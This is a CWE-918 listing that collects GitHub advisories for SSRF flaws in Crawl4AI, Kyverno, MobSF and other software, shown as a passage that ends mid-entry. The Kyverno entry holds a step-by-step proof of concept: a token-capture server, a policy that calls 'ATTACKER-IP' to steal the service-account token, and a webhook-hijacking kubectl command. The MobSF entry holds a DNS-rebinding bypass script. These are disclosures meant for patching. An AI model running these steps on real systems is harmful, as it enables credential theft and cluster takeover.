CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
4758 vulnerabilities reference this CWE, most recent first.
GHSA-F989-C77F-R2CQ
Vulnerability from github – Published: 2026-06-16 21:00 – Updated: 2026-06-16 21:00Summary
The Docker API server let a request control where LLM calls were sent and which environment variable an LLM token resolved from. Both could be abused to exfiltrate server-held secrets. The Docker API is unauthenticated by default.
Vector 1 - attacker base_url
/md, /llm, and /llm/job accepted a base_url in the request and used it as the LLM endpoint while still attaching the server's configured provider API key. An attacker set base_url to a server they control and received the provider key (and any provider keys the server holds) in the inbound request.
Vector 2 - arbitrary environment variable read via env:
LLMConfig(api_token="env:NAME") resolved NAME from the server environment with os.getenv. Because request bodies were deserialized into LLMConfig (via a crawler config / extraction strategy), an attacker could set api_token="env:SECRET_KEY" (or env:REDIS_PASSWORD, etc.) and, paired with an attacker base_url, exfiltrate that secret. Reading the server's SECRET_KEY enables forging authentication tokens.
Impact
Disclosure of LLM provider API keys and other server secrets to an attacker-controlled endpoint; reading the JWT SECRET_KEY can lead to authentication bypass.
Fix
- The LLM endpoints ignore a request-supplied
base_url; the endpoint is always derived server-side from the provider name. The field is still accepted but no longer honored (no breaking 4xx). LLMConfigrefusesenv:resolution of protected environment-variable names (names containing SECRET/PASSWORD/PRIVATE, prefixes CRAWL4AI/AWS_SECRET, and SECRET_KEY/REDIS_PASSWORD/TOKEN). Normal provider keys (e.g. OPENAI_API_KEY) are unaffected.
Workarounds
- Upgrade to the patched version.
- Enable authentication (
CRAWL4AI_API_TOKEN). - Do not place sensitive secrets in the server environment alongside provider keys.
Credits
- Geo (geo-chen) - reported the LLM credential exfiltration via request base_url.
- Internal security audit (Crawl4AI maintainers) - the env: arbitrary-variable read.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.8.7"
},
"package": {
"ecosystem": "PyPI",
"name": "crawl4ai"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.8.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-522",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-16T21:00:31Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nThe Docker API server let a request control where LLM calls were sent and which environment variable an LLM token resolved from. Both could be abused to exfiltrate server-held secrets. The Docker API is unauthenticated by default.\n\n### Vector 1 - attacker base_url\n\n`/md`, `/llm`, and `/llm/job` accepted a `base_url` in the request and used it as the LLM endpoint while still attaching the server\u0027s configured provider API key. An attacker set `base_url` to a server they control and received the provider key (and any provider keys the server holds) in the inbound request.\n\n### Vector 2 - arbitrary environment variable read via `env:`\n\n`LLMConfig(api_token=\"env:NAME\")` resolved `NAME` from the server environment with `os.getenv`. Because request bodies were deserialized into `LLMConfig` (via a crawler config / extraction strategy), an attacker could set `api_token=\"env:SECRET_KEY\"` (or `env:REDIS_PASSWORD`, etc.) and, paired with an attacker `base_url`, exfiltrate that secret. Reading the server\u0027s `SECRET_KEY` enables forging authentication tokens.\n\n### Impact\n\nDisclosure of LLM provider API keys and other server secrets to an attacker-controlled endpoint; reading the JWT `SECRET_KEY` can lead to authentication bypass.\n\n### Fix\n\n- The LLM endpoints ignore a request-supplied `base_url`; the endpoint is always derived server-side from the provider name. The field is still accepted but no longer honored (no breaking 4xx).\n- `LLMConfig` refuses `env:` resolution of protected environment-variable names (names containing SECRET/PASSWORD/PRIVATE, prefixes CRAWL4AI*/AWS_SECRET*, and SECRET_KEY/REDIS_PASSWORD/TOKEN). Normal provider keys (e.g. OPENAI_API_KEY) are unaffected.\n\n### Workarounds\n\n- Upgrade to the patched version.\n- Enable authentication (`CRAWL4AI_API_TOKEN`).\n- Do not place sensitive secrets in the server environment alongside provider keys.\n\n### Credits\n\n- Geo ([geo-chen](https://github.com/geo-chen)) - reported the LLM credential exfiltration via request base_url.\n- Internal security audit (Crawl4AI maintainers) - the env: arbitrary-variable read.",
"id": "GHSA-f989-c77f-r2cq",
"modified": "2026-06-16T21:00:31Z",
"published": "2026-06-16T21:00:31Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/unclecode/crawl4ai/security/advisories/GHSA-f989-c77f-r2cq"
},
{
"type": "PACKAGE",
"url": "https://github.com/unclecode/crawl4ai"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Crawl4AI: LLM credential exfiltration in Docker server via request base_url and env: token resolution"
}
GHSA-F9G8-6PPC-PQQ4
Vulnerability from github – Published: 2026-04-16 21:36 – Updated: 2026-04-24 21:02Summary
Kyverno's apiCall feature in ClusterPolicy automatically attaches the admission controller's ServiceAccount token to outgoing HTTP requests. The service URL has no validation — it can point anywhere, including attacker-controlled servers. Since the admission controller SA has permissions to patch webhook configurations, a stolen token leads to full cluster compromise.
Affected version
Tested on Kyverno v1.17.1 (Helm chart default installation). Likely affects all versions with apiCall service support.
Details
There are two issues that combine into one attack chain.
The first is in pkg/engine/apicall/executor.go around line 138. The service URL from the policy spec goes straight into http.NewRequestWithContext():
req, err := http.NewRequestWithContext(ctx, string(apiCall.Method), apiCall.Service.URL, data)
No scheme check, no IP restriction, no allowlist. The policy validation webhook (pkg/validation/policy/validate.go) only looks at JMESPath syntax.
The second is at lines 155-159 of the same file. If the request doesn't already have an Authorization header, Kyverno reads its own SA token and injects it:
if req.Header.Get("Authorization") == "" {
token := a.getToken()
req.Header.Add("Authorization", "Bearer "+token)
}
The token is the admission controller's long-lived SA token from /var/run/secrets/kubernetes.io/serviceaccount/token. With the default Helm install, this SA (kyverno-admission-controller) can read and PATCH both MutatingWebhookConfiguration and ValidatingWebhookConfiguration.
Reproduction
Environment: Kyverno v1.17.1, K3s v1.34.5, single-node cluster, default Helm install
Step 1: Start an HTTP listener on an attacker machine:
# capture_server.py
from http.server import HTTPServer, BaseHTTPRequestHandler
import json, datetime
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
print(json.dumps({
"timestamp": str(datetime.datetime.now()),
"path": self.path,
"headers": dict(self.headers)
}, indent=2))
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.end_headers()
self.wfile.write(b'{"ok": true}')
HTTPServer(("0.0.0.0", 9999), Handler).serve_forever()
Step 2: Create a ClusterPolicy that calls the attacker server:
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: ssrf-poc
spec:
validationFailureAction: Audit
background: false
rules:
- name: exfil
match:
any:
- resources:
kinds:
- Pod
context:
- name: exfil
apiCall:
service:
url: "http://ATTACKER-IP:9999/steal"
method: GET
jmesPath: "@"
validate:
message: "check"
deny:
conditions:
any:
- key: "{{ exfil }}"
operator: Equals
value: "NEVER_MATCHES"
Step 3: Create any pod to trigger policy evaluation:
kubectl run test --image=nginx
Step 4: The listener receives the SA token immediately:
Authorization: Bearer eyJhbGciOiJSUzI1NiIs...
Decoded JWT sub claim: system:serviceaccount:kyverno:kyverno-admission-controller
Every subsequent pod creation sends the token again. No race condition, no timing — it fires every time.
Step 5: Use the token to hijack webhooks:
# Verify permissions
kubectl auth can-i patch mutatingwebhookconfigurations \
--as=system:serviceaccount:kyverno:kyverno-admission-controller
# yes
# Patch the webhook to redirect to attacker
kubectl patch mutatingwebhookconfiguration kyverno-policy-mutating-webhook-cfg \
--type='json' \
-p='[{"op":"replace","path":"/webhooks/0/clientConfig/url","value":"https://ATTACKER:443/mutate"}]' \
--token="eyJhbG..."
After this, every K8s API request that triggers the webhook goes to the attacker's server. The attacker can mutate any pod spec — inject containers, mount host paths, add privileged security contexts.
Verified permissions of stolen token
Tested with the default Helm installation:
| Action | Result |
|---|---|
| List pods (all namespaces) | Allowed |
| Read configmaps in kube-system | Allowed |
| PATCH MutatingWebhookConfiguration | Allowed |
| PATCH ValidatingWebhookConfiguration | Allowed |
| Read secrets (cluster-wide) | Denied (per-NS only) |
Impact
An attacker who can create ClusterPolicy resources (or who compromises a service account with that permission) can steal Kyverno's admission controller token and use it to:
- Hijack Kyverno's own mutating/validating webhooks
- Intercept and modify every API request flowing through the cluster
- Inject malicious containers, escalate privileges, exfiltrate secrets
The token is also sent to internal endpoints — http://169.254.169.254/latest/meta-data/ works, so on cloud-hosted clusters (EKS, GKE, AKS) this also leaks cloud IAM credentials.
RBAC note: ClusterPolicy is a cluster-scoped resource, so creating one requires cluster-level RBAC. But in practice, platform teams often grant policy-write to team leads or automation pipelines. The auto-injection of the SA token is the unexpected part — nobody expects writing a policy to leak the controller's credentials.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/kyverno/kyverno"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.17.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41323"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-16T21:36:20Z",
"nvd_published_at": "2026-04-24T04:16:20Z",
"severity": "HIGH"
},
"details": "## Summary\n\nKyverno\u0027s apiCall feature in ClusterPolicy automatically attaches the admission controller\u0027s ServiceAccount token to outgoing HTTP requests. The service URL has no validation \u2014 it can point anywhere, including attacker-controlled servers. Since the admission controller SA has permissions to patch webhook configurations, a stolen token leads to full cluster compromise.\n\n## Affected version\n\nTested on Kyverno v1.17.1 (Helm chart default installation). Likely affects all versions with apiCall service support.\n\n## Details\n\nThere are two issues that combine into one attack chain.\n\nThe first is in `pkg/engine/apicall/executor.go` around line 138. The service URL from the policy spec goes straight into `http.NewRequestWithContext()`:\n\n```go\nreq, err := http.NewRequestWithContext(ctx, string(apiCall.Method), apiCall.Service.URL, data)\n```\n\nNo scheme check, no IP restriction, no allowlist. The policy validation webhook (`pkg/validation/policy/validate.go`) only looks at JMESPath syntax.\n\nThe second is at lines 155-159 of the same file. If the request doesn\u0027t already have an Authorization header, Kyverno reads its own SA token and injects it:\n\n```go\nif req.Header.Get(\"Authorization\") == \"\" {\n token := a.getToken()\n req.Header.Add(\"Authorization\", \"Bearer \"+token)\n}\n```\n\nThe token is the admission controller\u0027s long-lived SA token from `/var/run/secrets/kubernetes.io/serviceaccount/token`. With the default Helm install, this SA (`kyverno-admission-controller`) can read and PATCH both `MutatingWebhookConfiguration` and `ValidatingWebhookConfiguration`.\n\n## Reproduction\n\n**Environment**: Kyverno v1.17.1, K3s v1.34.5, single-node cluster, default Helm install\n\n**Step 1**: Start an HTTP listener on an attacker machine:\n\n```python\n# capture_server.py\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\nimport json, datetime\n\nclass Handler(BaseHTTPRequestHandler):\n def do_GET(self):\n print(json.dumps({\n \"timestamp\": str(datetime.datetime.now()),\n \"path\": self.path,\n \"headers\": dict(self.headers)\n }, indent=2))\n self.send_response(200)\n self.send_header(\"Content-Type\", \"application/json\")\n self.end_headers()\n self.wfile.write(b\u0027{\"ok\": true}\u0027)\n\nHTTPServer((\"0.0.0.0\", 9999), Handler).serve_forever()\n```\n\n**Step 2**: Create a ClusterPolicy that calls the attacker server:\n\n```yaml\napiVersion: kyverno.io/v1\nkind: ClusterPolicy\nmetadata:\n name: ssrf-poc\nspec:\n validationFailureAction: Audit\n background: false\n rules:\n - name: exfil\n match:\n any:\n - resources:\n kinds:\n - Pod\n context:\n - name: exfil\n apiCall:\n service:\n url: \"http://ATTACKER-IP:9999/steal\"\n method: GET\n jmesPath: \"@\"\n validate:\n message: \"check\"\n deny:\n conditions:\n any:\n - key: \"{{ exfil }}\"\n operator: Equals\n value: \"NEVER_MATCHES\"\n```\n\n**Step 3**: Create any pod to trigger policy evaluation:\n\n```bash\nkubectl run test --image=nginx\n```\n\n**Step 4**: The listener receives the SA token immediately:\n\n```\nAuthorization: Bearer eyJhbGciOiJSUzI1NiIs...\n```\n\nDecoded JWT `sub` claim: `system:serviceaccount:kyverno:kyverno-admission-controller`\n\nEvery subsequent pod creation sends the token again. No race condition, no timing \u2014 it fires every time.\n\n**Step 5**: Use the token to hijack webhooks:\n\n```bash\n# Verify permissions\nkubectl auth can-i patch mutatingwebhookconfigurations \\\n --as=system:serviceaccount:kyverno:kyverno-admission-controller\n# yes\n\n# Patch the webhook to redirect to attacker\nkubectl patch mutatingwebhookconfiguration kyverno-policy-mutating-webhook-cfg \\\n --type=\u0027json\u0027 \\\n -p=\u0027[{\"op\":\"replace\",\"path\":\"/webhooks/0/clientConfig/url\",\"value\":\"https://ATTACKER:443/mutate\"}]\u0027 \\\n --token=\"eyJhbG...\"\n```\n\nAfter this, every K8s API request that triggers the webhook goes to the attacker\u0027s server. The attacker can mutate any pod spec \u2014 inject containers, mount host paths, add privileged security contexts.\n\n## Verified permissions of stolen token\n\nTested with the default Helm installation:\n\n| Action | Result |\n|--------|--------|\n| List pods (all namespaces) | Allowed |\n| Read configmaps in kube-system | Allowed |\n| PATCH MutatingWebhookConfiguration | **Allowed** |\n| PATCH ValidatingWebhookConfiguration | **Allowed** |\n| Read secrets (cluster-wide) | Denied (per-NS only) |\n\n## Impact\n\nAn attacker who can create ClusterPolicy resources (or who compromises a service account with that permission) can steal Kyverno\u0027s admission controller token and use it to:\n\n1. Hijack Kyverno\u0027s own mutating/validating webhooks\n2. Intercept and modify every API request flowing through the cluster\n3. Inject malicious containers, escalate privileges, exfiltrate secrets\n\nThe token is also sent to internal endpoints \u2014 `http://169.254.169.254/latest/meta-data/` works, so on cloud-hosted clusters (EKS, GKE, AKS) this also leaks cloud IAM credentials.\n\nRBAC note: ClusterPolicy is a cluster-scoped resource, so creating one requires cluster-level RBAC. But in practice, platform teams often grant policy-write to team leads or automation pipelines. The auto-injection of the SA token is the unexpected part \u2014 nobody expects writing a policy to leak the controller\u0027s credentials.",
"id": "GHSA-f9g8-6ppc-pqq4",
"modified": "2026-04-24T21:02:10Z",
"published": "2026-04-16T21:36:20Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/kyverno/kyverno/security/advisories/GHSA-f9g8-6ppc-pqq4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41323"
},
{
"type": "WEB",
"url": "https://github.com/kyverno/kyverno/commit/bc4f91c4801b1eaa2edc0a14e2f1b0af8cf0c1f5"
},
{
"type": "WEB",
"url": "https://github.com/kyverno/kyverno/commit/c2eab00033e635bda4e4efb58c1b472b41728bb6"
},
{
"type": "WEB",
"url": "https://github.com/kyverno/kyverno/commit/f70e8ac1e7acd2e3844f9553e4a884f07f953de0"
},
{
"type": "PACKAGE",
"url": "https://github.com/kyverno/kyverno"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Kyverno: ServiceAccount token leaked to external servers via apiCall service URL"
}
GHSA-FC43-VCVC-5QG7
Vulnerability from github – Published: 2026-07-17 03:31 – Updated: 2026-07-17 03:31OpenClaw 2026.4.14 before 2026.5.26 contain a server-side request forgery vulnerability in browser snapshot routes that fail to validate post-navigation destinations. Attackers with lower-trust access can bypass OpenClaw policy checks to reach network destinations that should have been blocked.
{
"affected": [],
"aliases": [
"CVE-2026-62227"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-17T02:18:10Z",
"severity": "MODERATE"
},
"details": "OpenClaw 2026.4.14 before 2026.5.26 contain a server-side request forgery vulnerability in browser snapshot routes that fail to validate post-navigation destinations. Attackers with lower-trust access can bypass OpenClaw policy checks to reach network destinations that should have been blocked.",
"id": "GHSA-fc43-vcvc-5qg7",
"modified": "2026-07-17T03:31:23Z",
"published": "2026-07-17T03:31:23Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-2x93-h3hg-2xfp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-62227"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-ssrf-via-browser-snapshot"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-FC65-58V2-9R8H
Vulnerability from github – Published: 2022-04-30 18:21 – Updated: 2024-02-08 21:30DB4Web server, when configured to use verbose debug messages, allows remote attackers to use DB4Web as a proxy and attempt TCP connections to other systems (port scan) via a request for a URL that specifies the target IP address and port, which produces a connection status in the resulting error message.
{
"affected": [],
"aliases": [
"CVE-2002-1484"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2003-04-22T04:00:00Z",
"severity": "HIGH"
},
"details": "DB4Web server, when configured to use verbose debug messages, allows remote attackers to use DB4Web as a proxy and attempt TCP connections to other systems (port scan) via a request for a URL that specifies the target IP address and port, which produces a connection status in the resulting error message.",
"id": "GHSA-fc65-58v2-9r8h",
"modified": "2024-02-08T21:30:30Z",
"published": "2022-04-30T18:21:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2002-1484"
},
{
"type": "WEB",
"url": "http://archives.neohapsis.com/archives/bugtraq/2002-09/0201.html"
},
{
"type": "WEB",
"url": "http://archives.neohapsis.com/archives/vulnwatch/2002-q3/0125.html"
},
{
"type": "WEB",
"url": "http://www.iss.net/security_center/static/10136.php"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/5725"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FC85-MQVW-FGVH
Vulnerability from github – Published: 2026-05-02 06:30 – Updated: 2026-05-02 06:30A vulnerability was identified in JeecgBoot up to 3.9.1. This affects the function OpenApiController.add/OpenApiController.call of the file OpenApiController.java of the component OpenApi Service. Such manipulation of the argument originUrl database leads to server-side request forgery. It is possible to launch the attack remotely. The exploit is publicly available and might be used. It is suggested to upgrade the affected component. The vendor confirmed the issue and will provide a fix in the upcoming release.
{
"affected": [],
"aliases": [
"CVE-2026-7604"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-02T05:16:01Z",
"severity": "LOW"
},
"details": "A vulnerability was identified in JeecgBoot up to 3.9.1. This affects the function OpenApiController.add/OpenApiController.call of the file OpenApiController.java of the component OpenApi Service. Such manipulation of the argument originUrl database leads to server-side request forgery. It is possible to launch the attack remotely. The exploit is publicly available and might be used. It is suggested to upgrade the affected component. The vendor confirmed the issue and will provide a fix in the upcoming release.",
"id": "GHSA-fc85-mqvw-fgvh",
"modified": "2026-05-02T06:30:24Z",
"published": "2026-05-02T06:30:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-7604"
},
{
"type": "WEB",
"url": "https://github.com/jeecgboot/JeecgBoot/issues/9554"
},
{
"type": "WEB",
"url": "https://github.com/jeecgboot/JeecgBoot/issues/9554#issuecomment-4251574151"
},
{
"type": "WEB",
"url": "https://github.com/jeecgboot/JeecgBoot"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/805708"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/360561"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/360561/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-FC9R-6PVQ-27WG
Vulnerability from github – Published: 2024-04-24 09:30 – Updated: 2024-04-24 09:30Server-Side Request Forgery (SSRF) vulnerability in Webangon The Pack Elementor.This issue affects The Pack Elementor addons: from n/a through 2.0.8.2.
{
"affected": [],
"aliases": [
"CVE-2024-32718"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-24T08:15:38Z",
"severity": "MODERATE"
},
"details": "Server-Side Request Forgery (SSRF) vulnerability in Webangon The Pack Elementor.This issue affects The Pack Elementor addons: from n/a through 2.0.8.2.\n\n",
"id": "GHSA-fc9r-6pvq-27wg",
"modified": "2024-04-24T09:30:31Z",
"published": "2024-04-24T09:30:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-32718"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/the-pack-addon/wordpress-the-pack-elementor-addons-plugin-2-0-8-2-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-FCCG-7W3P-W66F
Vulnerability from github – Published: 2026-01-16 15:31 – Updated: 2026-01-16 19:57Nu Html Checker (validator.nu) contains a restriction bypass that allows remote attackers to make the server perform arbitrary HTTP/HTTPS requests to internal resources, including localhost services. While the validator implements hostname-based protections to block direct access to localhost and 127.0.0.1, these controls can be bypassed using DNS rebinding techniques or domains that resolve to loopback addresses.This issue affects The Nu Html Checker (vnu): latest (commit 23f090a11bab8d0d4e698f1ffc197a4fe226a9cd).
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "nu.validator:validator"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "26.1.11"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "vnu-jar"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "26.1.11"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-15104"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-16T19:57:33Z",
"nvd_published_at": "2026-01-16T14:15:54Z",
"severity": "MODERATE"
},
"details": "Nu Html Checker (validator.nu) contains a restriction bypass that allows remote attackers to make the server perform arbitrary HTTP/HTTPS requests to internal resources, including localhost services. While the validator implements hostname-based protections to block direct access to localhost and 127.0.0.1, these controls can be bypassed using DNS rebinding techniques or domains that resolve to loopback addresses.This issue affects The Nu Html Checker (vnu): latest (commit 23f090a11bab8d0d4e698f1ffc197a4fe226a9cd).",
"id": "GHSA-fccg-7w3p-w66f",
"modified": "2026-01-16T19:57:33Z",
"published": "2026-01-16T15:31:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-15104"
},
{
"type": "WEB",
"url": "https://fluidattacks.com/advisories/europe"
},
{
"type": "PACKAGE",
"url": "https://github.com/validator/validator"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "Nu Html Checker (vnu) contains a Server-Side Request Forgery (SSRF) vulnerability"
}
GHSA-FCFQ-M8P6-GW56
Vulnerability from github – Published: 2025-03-31 17:23 – Updated: 2025-06-13 04:11Summary
The latest deployed fix for the SSRF vulnerability is through the use of the call valid_host(). The code available at lines /ae34f7c055aa64fca58e995b70bc7f19da6ca33a/mobsf/MobSF/utils.py#L907-L957 is vulnerable to SSRF abuse using DNS rebinding technique.
PoC
The following proof of concept:
def valid_host(host):
"""Check if host is valid."""
try:
prefixs = ('http://', 'https://')
if not host.startswith(prefixs):
host = f'http://{host}'
parsed = urlparse(host)
domain = parsed.netloc
path = parsed.path
if len(domain) == 0:
# No valid domain
return False, None
if len(path) > 0:
# Only host is allowed
return False, None
if ':' in domain:
# IPv6
return False, None
# Local network
invalid_prefix = (
'100.64.',
'127.',
'192.',
'198.',
'10.',
'172.',
'169.',
'0.',
'203.0.',
'224.0.',
'240.0',
'255.255.',
'localhost',
'::1',
'64::ff9b::',
'100::',
'2001::',
'2002::',
'fc00::',
'fe80::',
'ff00::')
if domain.startswith(invalid_prefix):
return False, None
ip = socket.gethostbyname(domain)
if ip.startswith(invalid_prefix):
# Resolve dns to get IP
return False, None
return True, ip
except Exception:
return False, None
import random
import time
import socket
from urllib.parse import urlparse
if __name__ == '__main__':
print("Generating random host ...", end=' ')
prefix = random.randint(999_999, 9_999_999)
host = f"{prefix}-make-1.1.1.1-rebindfor30safter1times-127.0.0.1-rr.1u.ms"
print("Done")
print(f"Testing with '{host}' ... ", end=" ")
valid, ip = valid_host(host)
if valid:
print(f"Successful Bypass")
print(f" - Host initially resolved to: {ip}")
print("Sleeping for 1 second ...")
time.sleep(1)
print(f" - Second use host will be resolved to: {socket.gethostbyname(host)}")
print(f" - Third use host will be resolved to: {socket.gethostbyname(host)}")
print("Sleeping for 30 seconds ...")
time.sleep(30)
else:
print(f"Invalid host")
Yields :
$ python3 poc.py
Generating random host ... Done
Testing with '5084216-make-1.1.1.1-rebindfor30safter1times-127.0.0.1-rr.1u.ms' ... Successful Bypass
- Host initially resolved to: 1.1.1.1
Sleeping for 1 second ...
- Second use host will be resolved to: 127.0.0.1
- Third use host will be resolved to: 127.0.0.1
Sleeping for 30 seconds ...
Which generate an initlal random url that leverages dns rebinding after 1 time host resolution and remains to that IP for 30 seconds.
As you can notice the initial resolution was pointing to 1.1.1.1. The second time the IP was resolved to 127.0.0.1. Such an attack could be adjusted for other IP addresses.
Impact
The usual impact of Server-side request forgery.
Remediation
- Avoid the use of
socket.gethostbyname()since it issues and DNS query.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "mobsf"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.3.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-31116"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2025-03-31T17:23:21Z",
"nvd_published_at": "2025-03-31T17:15:42Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nThe latest deployed fix for the SSRF vulnerability is through the use of the call `valid_host()`. The code available at lines [/ae34f7c055aa64fca58e995b70bc7f19da6ca33a/mobsf/MobSF/utils.py#L907-L957](https://github.com/MobSF/Mobile-Security-Framework-MobSF/blob/ae34f7c055aa64fca58e995b70bc7f19da6ca33a/mobsf/MobSF/utils.py#L907-L957) is vulnerable to SSRF abuse using DNS rebinding technique.\n\n### PoC\n\nThe following proof of concept: \n\n```python\ndef valid_host(host):\n \"\"\"Check if host is valid.\"\"\"\n try:\n prefixs = (\u0027http://\u0027, \u0027https://\u0027)\n if not host.startswith(prefixs):\n host = f\u0027http://{host}\u0027\n parsed = urlparse(host)\n domain = parsed.netloc\n path = parsed.path\n if len(domain) == 0:\n # No valid domain\n return False, None\n if len(path) \u003e 0:\n # Only host is allowed\n return False, None\n if \u0027:\u0027 in domain:\n # IPv6\n return False, None\n # Local network\n invalid_prefix = (\n \u0027100.64.\u0027,\n \u0027127.\u0027,\n \u0027192.\u0027,\n \u0027198.\u0027,\n \u002710.\u0027,\n \u0027172.\u0027,\n \u0027169.\u0027,\n \u00270.\u0027,\n \u0027203.0.\u0027,\n \u0027224.0.\u0027,\n \u0027240.0\u0027,\n \u0027255.255.\u0027,\n \u0027localhost\u0027,\n \u0027::1\u0027,\n \u002764::ff9b::\u0027,\n \u0027100::\u0027,\n \u00272001::\u0027,\n \u00272002::\u0027,\n \u0027fc00::\u0027,\n \u0027fe80::\u0027,\n \u0027ff00::\u0027)\n if domain.startswith(invalid_prefix):\n return False, None\n ip = socket.gethostbyname(domain)\n if ip.startswith(invalid_prefix):\n # Resolve dns to get IP\n return False, None\n return True, ip\n except Exception:\n return False, None\n\nimport random\nimport time\nimport socket\nfrom urllib.parse import urlparse\n\nif __name__ == \u0027__main__\u0027:\n print(\"Generating random host ...\", end=\u0027 \u0027) \n prefix = random.randint(999_999, 9_999_999)\n host = f\"{prefix}-make-1.1.1.1-rebindfor30safter1times-127.0.0.1-rr.1u.ms\"\n print(\"Done\")\n print(f\"Testing with \u0027{host}\u0027 ... \", end=\" \")\n valid, ip = valid_host(host)\n if valid:\n print(f\"Successful Bypass\")\n print(f\" - Host initially resolved to: {ip}\")\n print(\"Sleeping for 1 second ...\")\n time.sleep(1)\n print(f\" - Second use host will be resolved to: {socket.gethostbyname(host)}\")\n print(f\" - Third use host will be resolved to: {socket.gethostbyname(host)}\")\n print(\"Sleeping for 30 seconds ...\")\n time.sleep(30)\n else:\n print(f\"Invalid host\")\n\n```\n\nYields : 